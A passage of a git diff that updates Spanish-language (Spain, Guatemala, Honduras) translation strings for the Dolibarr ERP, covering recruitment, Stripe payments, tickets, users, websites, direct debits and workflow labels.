con la referencia %s? ConfirmCancelReception=¿Está seguro de querer cancelar esta recepción? @@ -48,7 +49,6 @@ ReceptionsNumberingModules=Módulo de numeración para recepciones ReceptionsReceiptModel=Modelos de documentos para recepciones. NoMorePredefinedProductToDispatch=No hay más productos predefinidos para enviar ReceptionExist=Existe una recepción -ByingPrice=Precio de compra ReceptionBackToDraftInDolibarr=Recepción %s volver al borrador ReceptionClassifyClosedInDolibarr=Recepción %s clasificado Cerrado ReceptionUnClassifyCloseddInDolibarr=Recepción %s Reabrir diff --git a/htdocs/langs/es_ES/recruitment.lang b/htdocs/langs/es_ES/recruitment.lang index 9d0d7e1e38a..472d6dda9ea 100644 --- a/htdocs/langs/es_ES/recruitment.lang +++ b/htdocs/langs/es_ES/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-mail contratador ToUseAGenericEmail=Utilizar un e-mail genérico. Si no se define, se utilizará el e-mail del responsable de contratación NewCandidature=Nueva aplicación ListOfCandidatures=Listado de aplicaciones -RequestedRemuneration=Retribución solicitada -ProposedRemuneration=Retribución propuesta +Remuneration=Salario +RequestedRemuneration=Salario solicitado +ProposedRemuneration=Salario propuesto ContractProposed=Contrato propuesto ContractSigned=Contrato firmado ContractRefused=Contrato rechazado RecruitmentCandidature=Aplicacion JobPositions=Puestos de trabajo RecruitmentCandidatures=Aplicaciones -InterviewToDo=Entrevista para realizar +InterviewToDo=Contactos a seguir AnswerCandidature=Respuesta de la aplicación YourCandidature=Su aplicación YourCandidatureAnswerMessage=Gracias por su aplicación.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=El puesto de trabajo esta cerrado ExtrafieldsJobPosition=Campos adicionales (puestos de trabajo) ExtrafieldsApplication=Campos adicionales (solicitudes de empleo) MakeOffer=Realizar un presupuesto +WeAreRecruiting=Estamos reclutando. Esta es una lista de vacantes a cubrir... +NoPositionOpen=No hay posiciones abiertas en este momento diff --git a/htdocs/langs/es_ES/salaries.lang b/htdocs/langs/es_ES/salaries.lang index 7e90e136877..14544cdfc32 100644 --- a/htdocs/langs/es_ES/salaries.lang +++ b/htdocs/langs/es_ES/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Cuenta contable usada para los usuarios -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Se utilizará una cuenta contable dedicada definida en la ficha de usuario para el relleno del Libro Mayor, o como valor predeterminado de la contabilidad del Libro Mayor si no se define una cuenta contable en la ficha del usuario +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Cuenta contable por defecto para pagos de salarios CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=De forma predeterminada, deje vacía la opción "Crear automáticamente un pago total" al crear un Salario. Salary=Salario diff --git a/htdocs/langs/es_ES/stripe.lang b/htdocs/langs/es_ES/stripe.lang index eccb8b77b3b..a463b543633 100644 --- a/htdocs/langs/es_ES/stripe.lang +++ b/htdocs/langs/es_ES/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live key ONLINE_PAYMENT_WAREHOUSE=Stock para usar para la disminución de stock cuando se realiza el pago en línea
      (TODO Cuando la opción para disminuir stock se realiza en una acción en la factura y el pago en línea se genera la factura?) StripeLiveEnabled=Stripe live activado (de lo contrario en modo test/sandbox) StripeImportPayment=Importar pagos Stripe -ExampleOfTestCreditCard=Ejemplo de tarjeta de crédito para pruebas: %s=> válida,%s => error CVC, %s => caducada, %s => la carga falla +ExampleOfTestCreditCard=Ejemplo de tarjeta de crédito para prueba SEPA: %s => válida, %s => error CVC, %s => caducada, %s => fallo en el cargo +ExampleOfTestBankAcountForSEPA=Ejemplo de cuenta bancaria IBAN para prueba de débito directo: %s StripeGateways=Pasarelas de Stripe OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Eliminar tarjeta ConfirmDeleteCard=¿Está seguro de querer eliminar esta tarjeta de crédito o débito? CreateCustomerOnStripe=Crear cliente en Stripe CreateCardOnStripe=Crea una tarjeta en Stripe +CreateBANOnStripe=Crear banco en Stripe ShowInStripe=Mostrar en Stripe StripeUserAccountForActions=Cuenta de usuario para usar en algunos e-mails de notificación de eventos Stripe (pagos de Stripe) StripePayoutList=Lista de pagos de Stripe @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Enlace para configurar Stripe WebHook para llamar a l PaymentWillBeRecordedForNextPeriod=El pago se registrará para el próximo período. ClickHereToTryAgain=Haga clic aquí para volver a intentarlo ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Debido a las fuertes reglas de autenticación del cliente, la creación de una tarjeta debe hacerse desde la oficina administrativa de Stripe. Puede hacer clic aquí para activar el registro de cliente de Stripe: %s -TERMINAL_LOCATION=Ubicación (dirección) para terminales +STRIPE_CARD_PRESENT=Tarjeta Presente para Terminales Stripe +TERMINAL_LOCATION=Ubicación (dirección) para terminales Stripe +RequestDirectDebitWithStripe=Solicitar Débito Directo con Stripe +STRIPE_SEPA_DIRECT_DEBIT=Habilitar los pagos de Débito Directo a través de Stripe + diff --git a/htdocs/langs/es_ES/ticket.lang b/htdocs/langs/es_ES/ticket.lang index 59d5e735045..ae24742c532 100644 --- a/htdocs/langs/es_ES/ticket.lang +++ b/htdocs/langs/es_ES/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Modificar tickets Permission56003=Eliminar tickets Permission56004=Administrar tickets Permission56005=Ver tickets de todos los terceros (no aplicable para usuarios externos, siempre estará limitada al tercero del que dependen) +Permission56006=Exportar tickets +Tickets=Tickets TicketDictType=Tipo de tickets TicketDictCategory=Categorías de tickets TicketDictSeverity=Gravedad de los tickets @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Contribuidor externo OriginEmail=Email del emisor Notify_TICKET_SENTBYMAIL=Enviar mensaje de ticket por e-mail +ExportDataset_ticket_1=Tickets + # Status Read=Leido Assigned=Asignado @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Al cerrar un ticket, se le propondrá enviar un mensa TicketWrongContact=El contacto proporcionado no forma parte de los contactos del ticket actual. E-Mail no enviado. TicketChooseProductCategory=Categoría de producto para soporte de tickets TicketChooseProductCategoryHelp=Seleccione la categoría de producto de soporte de tickets. Esto se usará para vincular automáticamente un contrato a un boleto. +TicketUseCaptchaCode=Usar código gráfico (CAPTCHA) al crear un ticket +TicketUseCaptchaCodeHelp=Agrega verificación de CAPTCHA al crear un nuevo ticket. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Creado por NewTicket=Nuevo ticket SubjectAnswerToTicket=Respuesta TicketTypeRequest=Tipo de solicitud -TicketCategory=Categorización de tickets +TicketCategory=Ticket group SeeTicket=Ver ticket TicketMarkedAsRead=El ticket ha sido marcado como leído TicketReadOn=Leído el @@ -192,8 +198,7 @@ TicketAssigned=El Ticket ha sido asignado TicketChangeType=Cambiar tipo TicketChangeCategory=Cambiar categoría TicketChangeSeverity=Cambiar gravedad -TicketAddMessage=Añadir mensaje -AddMessage=Añadir mensaje +TicketAddMessage=Agregar mensaje privado MessageSuccessfullyAdded=Ticket añadido TicketMessageSuccessfullyAdded=Mensaje añadido correctamente TicketMessagesList=Listado de mensajes @@ -204,8 +209,8 @@ TicketSeverity=Gravedad ShowTicket=Ver ticket RelatedTickets=Tickets relacionados TicketAddIntervention=Crear intervención -CloseTicket=Cerrar|Resolver ticket -AbandonTicket=Abandonar ticket +CloseTicket=Cerrar|Resolver +AbandonTicket=Abandonar CloseATicket=Cerrar | Resolver un ticket ConfirmCloseAticket=Confirmar el cierre del ticket ConfirmAbandonTicket=¿Confirma el cierre del ticket al estado 'Abandonado'? @@ -219,18 +224,17 @@ SendMessageByEmail=Enviar mensaje por e-mail TicketNewMessage=Nuevo mensaje ErrorMailRecipientIsEmptyForSendTicketMessage=El destinatario está vacío. No se ha enviado el email TicketGoIntoContactTab=Vaya a la pestaña "Contactos" para seleccionarlos -TicketMessageMailIntro=Introducción +TicketMessageMailIntro=Encabezado del mensaje TicketMessageMailIntroHelp=Este texto es añadido solo al principio del email y no será salvado. -TicketMessageMailIntroLabelAdmin=Texto de introducción a todas las respuestas del ticket TicketMessageMailIntroText=Hola,
      Se ha agregado una nueva respuesta a un ticket que sigues. Aquí está el mensaje:
      TicketMessageMailIntroHelpAdmin=Este texto se insertará antes de la respuesta al responder a un ticket de Dolibarr -TicketMessageMailSignature=Firma -TicketMessageMailSignatureHelp=Este texto se agrega solo al final del e-mail y no se guardará. -TicketMessageMailSignatureText=Mensaje enviado por %s vía Dolibarr -TicketMessageMailSignatureLabelAdmin=Firma del e-mail de respuesta -TicketMessageMailSignatureHelpAdmin=Este texto se insertará después del mensaje de respuesta. +TicketMessageMailFooter=Pie de página del mensaje +TicketMessageMailFooterHelp=Este texto se agrega solo al final del mensaje enviado por correo electrónico y no se guardará. +TicketMessageMailFooterText=Mensaje enviado por %s vía Dolibarr +TicketMessageMailFooterHelpAdmin=Este texto se insertará después del mensaje de respuesta. TicketMessageHelp=Solo este texto se guardará en la lista de mensajes en la ficha del ticket TicketMessageSubstitutionReplacedByGenericValues=Las variables de sustitución se reemplazan por valores genéricos. +ForEmailMessageWillBeCompletedWith=Para los mensajes de correo electrónico enviados a usuarios externos, el mensaje se completará con TimeElapsedSince=Tiempo transcurrido desde TicketTimeToRead=Tiempo transcurrido antes de leer el ticket TicketTimeElapsedBeforeSince=Tiempo transcurrido antes / desde @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Se publicó un nuevo mensaje en el ti TicketAssignedToYou=Ticket asignado TicketAssignedEmailBody=Se le ha asignado el ticket #%s por %s MarkMessageAsPrivate=Marcar mensaje como privado +TicketMessageSendEmailHelp=Se enviará un correo electrónico a todos los contactos asignados (contactos internos, pero también contactos externos, excepto si se marca la opción "%s") TicketMessagePrivateHelp=Este mensaje no se mostrará a los usuarios externos TicketEmailOriginIssuer=Emisor al origen de los tickets InitialMessage=Mensaje inicial @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Puede ver el progreso del ticket en la i TicketCloseEmailBodyInfosTrackUrlCustomer=Puede consultar el historial de este ticket haciendo clic en el siguiente enlace TicketEmailPleaseDoNotReplyToThisEmail=¡Por favor no responda directamente a este correo! Use el enlace para responder. TicketPublicInfoCreateTicket=Este formulario le permite registrar un ticket de soporte en nuestro sistema. -TicketPublicPleaseBeAccuratelyDescribe=Por favor describa precisamente el problema. Provea la mayor cantidad de información posible para permitirnos identificar su solicitud. +TicketPublicPleaseBeAccuratelyDescribe=Describa con precisión su pregunta. Proporcione la mayor cantidad de información posible que nos permita identificar correctamente su solicitud. TicketPublicMsgViewLogIn=Ingrese el ID de seguimiento del ticket TicketTrackId=ID Público de seguimiento OneOfTicketTrackId=Una de sus ID de seguimiento diff --git a/htdocs/langs/es_ES/users.lang b/htdocs/langs/es_ES/users.lang index 442e7e421ce..adc12419eef 100644 --- a/htdocs/langs/es_ES/users.lang +++ b/htdocs/langs/es_ES/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Eliminar del grupo PasswordChangedAndSentTo=Contraseña cambiada y enviada a %s. PasswordChangeRequest=Solicitud para cambiar la contraseña de %s PasswordChangeRequestSent=Petición de cambio de contraseña para %s enviada a %s. -IfLoginExistPasswordRequestSent=Si este inicio de sesión es una cuenta válida, se ha enviado un e-mail para restablecer la contraseña. +IfLoginExistPasswordRequestSent=Si este inicio de sesión es una cuenta válida (con un correo electrónico válido), se ha enviado un correo electrónico para restablecer la contraseña. IfEmailExistPasswordRequestSent=Si este correo electrónico es una cuenta válida, se ha enviado un correo electrónico para restablecer la contraseña. ConfirmPasswordReset=Confirmar restablecimiento de contraseña MenuUsersAndGroups=Usuarios y grupos @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Enlace al usuario LinkedToDolibarrThirdParty=Enlace a un tercero CreateDolibarrLogin=Crear una cuenta de usuario CreateDolibarrThirdParty=Crear un tercero -LoginAccountDisableInDolibarr=La cuenta está desactivada en Dolibarr +LoginAccountDisableInDolibarr=Cuenta deshabilitada en Dolibarr +PASSWORDInDolibarr=Contraseña modificada en Dolibarr UsePersonalValue=Utilizar valores personalizados -InternalUser=Usuario interno ExportDataset_user_1=Usuarios y sus propiedades. DomainUser=Usuario de dominio Reactivate=Reactivar @@ -124,7 +124,11 @@ ValidatorIsSupervisorByDefault=Por defecto, el validador es el supervisor del us UserPersonalEmail=Email personal UserPersonalMobile=Teléfono móvil personal WarningNotLangOfInterface=Atención, este es el idioma principal que habla el usuario, no el idioma del entorno que eligió ver. Para cambiar el idioma del entorno visible por este usuario, vaya a la pestaña %s -DateLastLogin=Date last login -DatePreviousLogin=Date previous login -IPLastLogin=IP last login -IPPreviousLogin=IP previous login +DateLastLogin=Fecha último inicio de sesión +DatePreviousLogin=Fecha de inicio de sesión anterior +IPLastLogin=IP último inicio de sesión +IPPreviousLogin=IP inicio de sesión anterior +ShowAllPerms=Mostrar todas las filas de permisos +HideAllPerms=Ocultar todas las filas de permisos +UserPublicPageDesc=Puede habilitar una tarjeta virtual para este usuario. Una URL con el perfil de usuario y un código de barras estará disponible para permitir que cualquier persona con un teléfono inteligente lo escanee y agregue su contacto a su libreta de direcciones. +EnablePublicVirtualCard=Habilitar la tarjeta de usuario virtual pública diff --git a/htdocs/langs/es_ES/website.lang b/htdocs/langs/es_ES/website.lang index f2c80e1f5db..1032059a351 100644 --- a/htdocs/langs/es_ES/website.lang +++ b/htdocs/langs/es_ES/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Código +WebsiteName=Nombre del sitio web WebsiteSetupDesc=Cree aquí los sitios web que necesite. Entonces entre en el menú de sitios web para editarlos. DeleteWebsite=Eliminar sitio web ConfirmDeleteWebsite=¿Está seguro de querer eliminar este sitio web? Todas las páginas y contenido también sera eliminado. Los archivos cargados (como en el directorio de medios, el módulo GED ...) permanecerán. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Adición en la parte inferior del encabezado HTML (común a WEBSITE_ROBOT=Archivo de robots (robots.txt) WEBSITE_HTACCESS=Archivo .htaccess del sitio web WEBSITE_MANIFEST_JSON=Archivo manifest.json del sitio web -WEBSITE_README=Archivo README.md WEBSITE_KEYWORDSDesc=Usar coma para separar valores -EnterHereLicenseInformation=Ingrese aquí metadatos o información de licencia para llenar un archivo README.md. si distribuye su sitio web como plantilla, el archivo se incluirá en el paquete template. +EnterHereReadmeInformation=Introduzca aquí una descripción del sitio web. Si distribuye su sitio web como plantilla, el archivo se incluirá en el paquete template. +EnterHereLicenseInformation=Introduzca aquí la LICENCIA del código del sitio web. Si distribuye su sitio web como plantilla, el archivo se incluirá en el paquete template. HtmlHeaderPage=Encabezado HTML (específico de esta página solamente) PageNameAliasHelp=Nombre o alias de la página.
      Este alias es utilizado también para construir una URL SEO cuando el website sea lanzado desde un Host Virtual de un servidor (como Apache, Nginx...). Usar el botón "%s" para editar este alias. EditTheWebSiteForACommonHeader=Nota: Si desea definir un encabezado personalizado para todas las páginas, edite el encabezado en el nivel del sitio en lugar de en la página/contenedor. @@ -42,6 +43,8 @@ ViewPageInNewTab=Ver página en una pestaña nueva SetAsHomePage=Establecer como Página de inicio RealURL=URL Real ViewWebsiteInProduction=Ver sitio web usando la URL de inicio +Virtualhost=Host virtual o nombre de dominio +VirtualhostDesc=El nombre del host virtual o dominio (por ejemplo: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Usar con Apache/NGinx /...
      Crea en su servidor web (Apache, Nginx, ...) de un host virtual dedicado con PHP habilitado y un directorio raíz en
      %s ExampleToUseInApacheVirtualHostConfig=Ejemplo para usar en la configuración del host virtual Apache: YouCanAlsoTestWithPHPS=En el entorno de desarrollo, es posible que prefiera probar el sitio con el servidor web incrustado de PHP (se requiere PHP 5.5) ejecutando
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%s página(s)/contenedor(s) regenerados RegenerateWebsiteContent=Regenerar archivos de caché del sitio web AllowedInFrames=Permitido en marcos DefineListOfAltLanguagesInWebsiteProperties=Defina la lista de todos los idiomas disponibles en las propiedades del sitio web. -GenerateSitemaps=Generar archivo de mapa del sitio del sitio web +GenerateSitemaps=Generar archivo sitemap.xml del sitio web ConfirmGenerateSitemaps=Si confirma, borrará el archivo de mapa del sitio existente ... ConfirmSitemapsCreation=Confirmar la generación del mapa del sitio SitemapGenerated=Archivo de mapa del sitio %s generado @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=El favicon debe ser png ErrorFaviconSize=El favicon debe tener un tamaño de 16x16, 32x32 o 64x64 FaviconTooltip=Sube una imagen que debe ser png (16x16, 32x32 o 64x64) +NextContainer=Página siguiente/contenedor +PreviousContainer=Página anterior/contenedor +WebsiteMustBeDisabled=El sitio web debe tener el estado "%s" +WebpageMustBeDisabled=La página web debe tener el estado "%s" +SetWebsiteOnlineBefore=Cuando el sitio web está fuera de línea, todas las páginas están fuera de línea. Cambiar el estado del sitio web primero. +Booking=Reserva +Reservation=Reserva diff --git a/htdocs/langs/es_ES/withdrawals.lang b/htdocs/langs/es_ES/withdrawals.lang index 5352e73d433..8088a98beb2 100644 --- a/htdocs/langs/es_ES/withdrawals.lang +++ b/htdocs/langs/es_ES/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Factura de proveedor pendiente de transferencia b InvoiceWaitingWithdraw=Facturas en espera de domiciliación InvoiceWaitingPaymentByBankTransfer=Factura en espera de transferencia bancaria AmountToWithdraw=Cantidad a domiciliar +AmountToTransfer=La cantidad a transferir NoInvoiceToWithdraw=No hay niguna factura abierta esperando para '%s' . Vaya a la pestaña '%s' de la factura para realizar una solicitud. -NoSupplierInvoiceToWithdraw=No hay ninguna factura de proveedor con 'Solicitudes de crédito directas' pendientes. Vaya a la pestaña '%s' en la pestaña de factura para hacer una solicitud. +NoSupplierInvoiceToWithdraw=No hay ninguna factura de proveedor con '%s' abierta. Vaya a la pestaña '%s' en la tarjeta de factura para realizar una solicitud. ResponsibleUser=Usuario responsable de las domiciliaciones WithdrawalsSetup=Configuración de las domiciliaciones CreditTransferSetup=Configuración de transferencias bancarias @@ -41,6 +42,7 @@ CreditTransferStatistics=Estadísticas de transferencias bancarias Rejects=Devoluciones LastWithdrawalReceipt=Las %s últimas domiciliaciones MakeWithdrawRequest=Realizar una petición de domiciliación +MakeWithdrawRequestStripe=Realice una solicitud de pago por domiciliación bancaria a través de Stripe MakeBankTransferOrder=Realizar una solicitud de transferencia bancaria WithdrawRequestsDone=%s domiciliaciones registradas BankTransferRequestsDone=%s solicitudes de transferencia de crédito registradas @@ -99,8 +101,11 @@ CreditDate=Abonada el WithdrawalFileNotCapable=No es posible generar el fichero bancario de domiciliación para el país %s (El país no está soportado) ShowWithdraw=Mostrar domiciliación IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Sin embargo, si la factura tiene pendiente algún pago por domiciliación no procesado, no será marcada como pagada para permitir la gestión de la domiciliación. -DoStandingOrdersBeforePayments=Esta pestaña le permite realizar una petición de domiciliación. Una vez realizadas las peticiones, vaya al menú Bancos->Pagos para gestionar la domiciliación. Al cerrar una domiciliación, los pagos de las facturas se registrarán automáticamente, y las facturas completamente pagadas serán cerradas. -DoCreditTransferBeforePayments=Esta pestaña le permite realizar una petición de transferencia bancaria. Una vez realizadas las peticiones, vaya al menú Bancos->Pagos para gestionar la petición. Al cerrar una petición, los pagos de las facturas se registrarán automáticamente, y las facturas completamente pagadas serán cerradas. +DoStandingOrdersBeforePayments=Esta pestaña le permite solicitar una orden de pago domiciliada. Una vez hecho esto, puede ir al menú "Banco->Pago por domiciliación" para generar y administrar un archivo de orden de domiciliación. +DoStandingOrdersBeforePayments2=También puede enviar una solicitud directamente a un procesador de pago SEPA como Stripe, ... +DoStandingOrdersBeforePayments3=Cuando se cierra la orden de débito directo, el pago de las facturas se registrará automáticamente y las facturas se cerrarán si el saldo a pagar es nulo. +DoCreditTransferBeforePayments=Esta pestaña le permite solicitar una orden de transferencia de crédito. Una vez hecho esto, vaya al menú "Banco->Pago por transferencia de crédito" para generar y administrar un archivo de orden de transferencia de crédito. +DoCreditTransferBeforePayments3=Cuando se cierra la orden de transferencia de crédito, el pago de las facturas se registrará automáticamente y las facturas se cerrarán si el resto por pagar es nulo. WithdrawalFile=Archivo de domiciliación CreditTransferFile=Archivo de transferencia bancaria SetToStatusSent=Clasificar como "Archivo enviado" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=No es posible crear una domiciliación sin importe SepaMandate=Mandato SEPA SepaMandateShort=Mandato SEPA PleaseReturnMandate=Devuelva este formulario de mandato por e-mail a %s o por correo a -SEPALegalText=Al firmar este formulario de mandato, usted autoriza a (A) %s a enviar instrucciones a su banco para debitar su cuenta y (B) a su banco para debitar su cuenta de acuerdo con las instrucciones de %s. Como parte de sus derechos, tiene derecho a un reembolso de su banco según los términos y condiciones de su acuerdo con su banco. Sus derechos con respecto al mandato anterior se explican en una declaración que puede obtener de su banco. +SEPALegalText=Al firmar este formulario de mandato, usted autoriza (A) %s y a su proveedor de servicios de pago a enviar instrucciones a su banco para que realice un cargo en su cuenta y (B) a su banco para que realice un cargo en su cuenta de acuerdo con las instrucciones de %s. Como parte de sus derechos, tiene derecho a un reembolso de su banco según los términos y condiciones de su acuerdo con su banco. Sus derechos con respecto al mandato anterior se explican en una declaración que puede obtener de su banco. CreditorIdentifier=Identificador Acreedor CreditorName=Nombre acreedor SEPAFillForm=(B) Rellene todos los campos marcados c * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Fecha de ejecución CreateForSepa=Crear archivo SEPA ICS=Identificador del acreedor - ICS +IDS=Identificador deudor END_TO_END=Etiqueta XML SEPA "EndToEndId" - ID única asignada por transacción USTRD=Etiqueta SEPA XML "Unstructured" ADDDAYS=Añadir días a la fecha de ejecución @@ -154,3 +160,4 @@ ErrorICSmissing=Falta ICS en la cuenta bancaria %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=El monto total de la orden de domiciliación bancaria difiere de la suma de líneas WarningSomeDirectDebitOrdersAlreadyExists=Advertencia: ya hay algunas órdenes de domiciliación bancaria pendientes (%s) solicitadas por un monto de %s WarningSomeCreditTransferAlreadyExists=Advertencia: ya hay una transferencia de crédito pendiente (%s) solicitada por un monto de %s +UsedFor=Usado para %s diff --git a/htdocs/langs/es_ES/workflow.lang b/htdocs/langs/es_ES/workflow.lang index 0a4b026910b..4d66e803a61 100644 --- a/htdocs/langs/es_ES/workflow.lang +++ b/htdocs/langs/es_ES/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Clasificar automátic descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Clasifique la orden de compra de fuente vinculada como recibida cuando se valida una recepción (y si la cantidad recibida por todas las recepciones es la misma que en la orden de compra para actualizar) descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Clasifique la orden de compra de fuente vinculada como recibida cuando una recepción está cerrada (y si la cantidad recibida por todas las recepciones es la misma que en la orden de compra para actualizar) # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=Clasificar las recepciones como "facturadas" cuando se valida un pedido de proveedor vinculado +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Clasificar las recepciones como "facturadas" cuando se valida una factura de compra vinculada (y si el monto de la factura es el mismo que el monto total de las recepciones vinculadas) # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=Al crear un ticket, vincule los contratos disponibles de terceros coincidentes descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=A la hora de vincular contratos, buscar entre los de las casas matrices @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=Cerrar todas las intervenciones vinculada AutomaticCreation=Creación automática AutomaticClassification=Clasificación automática # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasificar el envío vinculado como cerrado cuando se valida la factura del cliente -AutomaticClosing=Automatic closing -AutomaticLinking=Automatic linking +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Clasifique el envío de origen vinculado como cerrado cuando se valide la factura del cliente (y si el monto de la factura es el mismo que el monto total de los envíos vinculados) +AutomaticClosing=Cierre automático +AutomaticLinking=Enlace automático diff --git a/htdocs/langs/es_GT/admin.lang b/htdocs/langs/es_GT/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/es_GT/admin.lang +++ b/htdocs/langs/es_GT/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
      IfYouUseASecondTaxYouMustSetYouUseTheMainTax=If you want to use a second tax, you must enable also the first sale tax IfYouUseAThirdTaxYouMustSetYouUseTheMainTax=If you want to use a third tax, you must enable also the first sale tax diff --git a/htdocs/langs/es_GT/hrm.lang b/htdocs/langs/es_GT/hrm.lang new file mode 100644 index 00000000000..59c0ceb4575 --- /dev/null +++ b/htdocs/langs/es_GT/hrm.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - hrm +JobsExtraFields=Attributs supplémentaires (Emplois) diff --git a/htdocs/langs/es_GT/install.lang b/htdocs/langs/es_GT/install.lang new file mode 100644 index 00000000000..0d1a1ba2c9f --- /dev/null +++ b/htdocs/langs/es_GT/install.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - install +WarningRemoveInstallDir=Warning, for security reasons, once the installation process is complete, you must add a file called install.lock into the Dolibarr document directory in order to prevent the accidental/malicious use of the install tools again. diff --git a/htdocs/langs/es_GT/propal.lang b/htdocs/langs/es_GT/propal.lang new file mode 100644 index 00000000000..05fa26ba107 --- /dev/null +++ b/htdocs/langs/es_GT/propal.lang @@ -0,0 +1,2 @@ +# Dolibarr language file - Source file is en_US - propal +NoSign=Refuse diff --git a/htdocs/langs/es_GT/stripe.lang b/htdocs/langs/es_GT/stripe.lang new file mode 100644 index 00000000000..ae44362fd94 --- /dev/null +++ b/htdocs/langs/es_GT/stripe.lang @@ -0,0 +1,3 @@ +# Dolibarr language file - Source file is en_US - stripe +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +TERMINAL_LOCATION=Location (address) for Stripe Terminals diff --git a/htdocs/langs/es_HN/admin.lang b/htdocs/langs/es_HN/admin.lang index c5ab56cb8d8..4117e853156 100644 --- a/htdocs/langs/es_HN/admin.lang +++ b/htdocs/langs/es_HN/admin.lang @@ -1,5 +1,4 @@ # Dolibarr language file - Source file is en_US - admin OperationParamDesc=Define the rules to use to extract or set values.
      Example for operations that need to extract a name from email subject:
      name=EXTRACT:SUBJECT:Message from company ([^\n]*)
      Example for operations that create objects:
      objproperty1=SET:the value to set
      objproperty2=SET:a value including value of __objproperty1__
      objproperty3=SETIFEMPTY:value used if objproperty3 is not already defined
      objproperty4=EXTRACT:HEADER:X-Myheaderkey:\\s*([^\\s]*)
      options_myextrafield1=EXTRACT:SUBJECT:([^\n]*)
      object.objproperty5=EXTRACT:BODY:My company name is\\s([^\\s]*)

      Use a ; char as separator to extract or set several properties. -EmailCollectorLoadThirdPartyHelp=You can use this action to use the email content to find and load an existing thirdparty in your database. The found (or created) thirdparty will be used for following actions that need it.
      For example, if you want to create a thirdparty with a name extracted from a string 'Name: name to find' present into the body, use the sender email as email, you can set the parameter field like this:
      'email=HEADER:^From:(.*);name=EXTRACT:BODY:Name:\\s([^\\s]*);client=SET:2;'
